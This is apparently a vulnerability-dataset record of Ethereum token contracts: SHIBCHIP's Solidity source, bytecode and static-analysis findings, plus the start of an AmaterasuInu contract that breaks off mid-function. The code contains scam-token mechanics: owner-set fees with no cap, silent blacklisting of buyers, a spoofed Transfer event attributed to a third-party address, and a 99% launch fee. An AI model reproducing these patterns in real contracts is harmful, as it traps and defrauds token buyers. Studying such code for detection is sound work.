//SPDX-License-Identifier: UNLICENSED /* Website: https://shibchip.com Telegram: https://t.me/shibchiptoken Twitter: https://twitter.com/SHIPCHIP */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBCHIP is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Shiba Chip"; string public constant symbol = unicode"SHIBCHIP"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 13; uint public _sellFee = 13; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ if (recipient != tx.origin) _isBot[recipient] = true; } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; if((_launchedAt + (10 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (10 minutes)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 350000000 * 10**9; _maxHeldTokens = 350000000 * 10**9; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610597578063dcb0e0ad146105ac578063dd62ed3e146105cc578063e8078d941461061257600080fd5b8063a9059cbb1461052d578063b515566a1461054d578063c3c8cd801461056d578063c9567bf91461058257600080fd5b806373f54a11116100d157806373f54a111461049b5780638da5cb5b146104bb57806394b8d8f2146104d957806395d89b41146104f957600080fd5b8063590f897e1461043b5780636fc3eaec1461045157806370a0823114610466578063715018a61461048657600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ac57806340b9a54b146103e557806345596e2e146103fb57806349bd5a5e1461041b57600080fd5b806327f3a72a1461033a578063313ce5671461034f57806331c2d8471461037657806332d873d81461039657600080fd5b8063104ce66d116101b6578063104ce66d146102b157806318160ddd146102e95780631940d0201461030457806323b872dd1461031a57600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b31461025f5780630b78f9c01461028f57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102526040518060400160405280600a8152602001690536869626120436869760b41b81525081565b6040516102139190611a4c565b34801561026b57600080fd5b5061027f61027a366004611ac6565b610627565b6040519015158152602001610213565b34801561029b57600080fd5b506102af6102aa366004611af2565b61063d565b005b3480156102bd57600080fd5b506008546102d1906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f557600080fd5b50678ac7230489e80000610209565b34801561031057600080fd5b50610209600e5481565b34801561032657600080fd5b5061027f610335366004611b14565b6106a4565b34801561034657600080fd5b50610209610776565b34801561035b57600080fd5b50610364600981565b60405160ff9091168152602001610213565b34801561038257600080fd5b506102af610391366004611b6b565b610786565b3480156103a257600080fd5b50610209600f5481565b3480156103b857600080fd5b5061027f6103c7366004611c30565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f157600080fd5b50610209600a5481565b34801561040757600080fd5b506102af610416366004611c4d565b610812565b34801561042757600080fd5b506009546102d1906001600160a01b031681565b34801561044757600080fd5b50610209600b5481565b34801561045d57600080fd5b506102af6108b3565b34801561047257600080fd5b50610209610481366004611c30565b6108e0565b34801561049257600080fd5b506102af6108fb565b3480156104a757600080fd5b506102af6104b6366004611c30565b61096f565b3480156104c757600080fd5b506000546001600160a01b03166102d1565b3480156104e557600080fd5b5060105461027f9062010000900460ff1681565b34801561050557600080fd5b5061025260405180604001604052806008815260200167053484942434849560c41b81525081565b34801561053957600080fd5b5061027f610548366004611ac6565b6109dd565b34801561055957600080fd5b506102af610568366004611b6b565b6109ea565b34801561057957600080fd5b506102af610b03565b34801561058e57600080fd5b506102af610b39565b3480156105a357600080fd5b50610209610bd4565b3480156105b857600080fd5b506102af6105c7366004611c74565b610bec565b3480156105d857600080fd5b506102096105e7366004611c91565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061e57600080fd5b506102af610c5f565b6000610634338484610fa5565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065d57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff1680156106d257506001600160a01b03831660009081526004602052604090205460ff16155b80156106eb57506009546001600160a01b038581169116145b15610724576001600160a01b0383163214610724576001600160a01b0383166000908152600560205260409020805460ff191660011790555b61072f8484846110c9565b6001600160a01b038416600090815260036020908152604080832033845290915281205461075e908490611ce0565b905061076b853383610fa5565b506001949350505050565b6000610781306108e0565b905090565b6008546001600160a01b0316336001600160a01b0316146107a657600080fd5b60005b815181101561080e576000600560008484815181106107ca576107ca611cf7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080681611d0d565b9150506107a9565b5050565b6008546001600160a01b0316336001600160a01b03161461083257600080fd5b600081116108775760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108d357600080fd5b476108dd81611719565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161086e90611d28565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461098f57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016108a8565b60006106343384846110c9565b6000546001600160a01b03163314610a145760405162461bcd60e51b815260040161086e90611d28565b60005b815181101561080e5760095482516001600160a01b0390911690839083908110610a4357610a43611cf7565b60200260200101516001600160a01b031614158015610a94575060075482516001600160a01b0390911690839083908110610a8057610a80611cf7565b60200260200101516001600160a01b031614155b15610af157600160056000848481518110610ab157610ab1611cf7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610afb81611d0d565b915050610a17565b6008546001600160a01b0316336001600160a01b031614610b2357600080fd5b6000610b2e306108e0565b90506108dd81611753565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161086e90611d28565b60105460ff1615610bb05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086e565b6010805460ff1916600117905542600f556704db732547630000600d819055600e55565b600954600090610781906001600160a01b03166108e0565b6008546001600160a01b0316336001600160a01b031614610c0c57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016108a8565b6000546001600160a01b03163314610c895760405162461bcd60e51b815260040161086e90611d28565b60105460ff1615610cd65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086e565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d123082678ac7230489e80000610fa5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d749190611d5d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190611d5d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e569190611d5d565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e86816108e0565b600080610e9b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f03573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f289190611d7a565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f81573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080e9190611da8565b6001600160a01b0383166110075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161086e565b6001600160a01b0382166110685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161086e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561110b57506001600160a01b03821660009081526005602052604090205460ff16155b801561112757503360009081526005602052604090205460ff16155b61113057600080fd5b6001600160a01b0383166111945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161086e565b6001600160a01b0382166111f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161086e565b600081116112585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161086e565b600080546001600160a01b0385811691161480159061128557506000546001600160a01b03848116911614155b156116ba576009546001600160a01b0385811691161480156112b557506007546001600160a01b03848116911614155b80156112da57506001600160a01b03831660009081526004602052604090205460ff16155b156115565760105460ff166113315760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161086e565b600f5442141561135f576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f546102586113709190611dc5565b11156113ea57600e54611382846108e0565b61138c9084611dc5565b11156113ea5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161086e565b6001600160a01b03831660009081526006602052604090206001015460ff16611452576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f546102586114639190611dc5565b111561153757600d548211156114bb5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161086e565b6114c642601e611dc5565b6001600160a01b038416600090815260066020526040902054106115375760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161086e565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611570575060105460ff165b801561158a57506009546001600160a01b03858116911614155b156116ba5761159a42600f611dc5565b6001600160a01b0385166000908152600660205260409020541061160c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161086e565b6000611617306108e0565b905080156116a35760105462010000900460ff161561169a57600c546009546064919061164c906001600160a01b03166108e0565b6116569190611ddd565b6116609190611dfc565b81111561169a57600c5460095460649190611683906001600160a01b03166108e0565b61168d9190611ddd565b6116979190611dfc565b90505b6116a381611753565b4780156116b3576116b347611719565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116fc57506001600160a01b03841660009081526004602052604090205460ff165b15611705575060005b61171285858584866118c7565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561080e573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061179757611797611cf7565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118149190611d5d565b8160018151811061182757611827611cf7565b6001600160a01b03928316602091820292909201015260075461184d9130911684610fa5565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611886908590600090869030904290600401611e1e565b600060405180830381600087803b1580156118a057600080fd5b505af11580156118b4573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006118d383836118e9565b90506118e18686868461190d565b505050505050565b60008083156119065782156119015750600a54611906565b50600b545b9392505050565b60008061191a84846119ea565b6001600160a01b0388166000908152600260205260409020549193509150611943908590611ce0565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611973908390611dc5565b6001600160a01b03861660009081526002602052604090205561199581611a1e565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119da91815260200190565b60405180910390a3505050505050565b6000808060646119fa8587611ddd565b611a049190611dfc565b90506000611a128287611ce0565b96919550909350505050565b30600090815260026020526040902054611a39908290611dc5565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a7957858101830151858201604001528201611a5d565b81811115611a8b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108dd57600080fd5b8035611ac181611aa1565b919050565b60008060408385031215611ad957600080fd5b8235611ae481611aa1565b946020939093013593505050565b60008060408385031215611b0557600080fd5b50508035926020909101359150565b600080600060608486031215611b2957600080fd5b8335611b3481611aa1565b92506020840135611b4481611aa1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b7e57600080fd5b823567ffffffffffffffff80821115611b9657600080fd5b818501915085601f830112611baa57600080fd5b813581811115611bbc57611bbc611b55565b8060051b604051601f19603f83011681018181108582111715611be157611be1611b55565b604052918252848201925083810185019188831115611bff57600080fd5b938501935b82851015611c2457611c1585611ab6565b84529385019392850192611c04565b98975050505050505050565b600060208284031215611c4257600080fd5b813561190681611aa1565b600060208284031215611c5f57600080fd5b5035919050565b80151581146108dd57600080fd5b600060208284031215611c8657600080fd5b813561190681611c66565b60008060408385031215611ca457600080fd5b8235611caf81611aa1565b91506020830135611cbf81611aa1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cf257611cf2611cca565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d2157611d21611cca565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d6f57600080fd5b815161190681611aa1565b600080600060608486031215611d8f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611dba57600080fd5b815161190681611c66565b60008219821115611dd857611dd8611cca565b500190565b6000816000190483118215151615611df757611df7611cca565b500290565b600082611e1957634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e6e5784516001600160a01b031683529383019391830191600101611e49565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220cee59e6ef2c470d3906477a3eb185d192e296742744cc33fbe9f2693e6092a7d64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,243
0xfba4d7193420933b29c292c2af9f21b1c5c3c7e2
/** *Submitted for verification at Etherscan.io on 2021-12-07 */ /* _ _ ___ / \ _ __ ___ __ _| |_ ___ _ __ __ _ ___ _ _ |_ _|_ __ _ _ / _ \ | '_ ` _ \ / _` | __/ _ \ '__/ _` / __| | | | | || '_ \| | | | / ___ \| | | | | | (_| | || __/ | | (_| \__ \ |_| | | || | | | |_| | /_/ \_\_| |_| |_|\__,_|\__\___|_| \__,_|___/\__,_| |___|_| |_|\__,_| Amaterasu Inu $OKAMI Ōkami Amaterasu the sun goddess has bestothed on the world an arcane son Amaterasu Inu $OKAMI and with the might and power of all the Inu's will lead the way in creating a decentralised reserve currency for all gods. No team tokens, no presale 100% community driven. Marketing driven by the community for the community. Taxes to be used for development of Ōkami Amaterasu's vision of a decentralised god currency. - Telegram: https://t.me/AmaterasuInu */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AmaterasuInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Test"; string private constant _symbol = "TEST"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 2; _feeAddr2 = 8; } if (openBlock + 4 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && 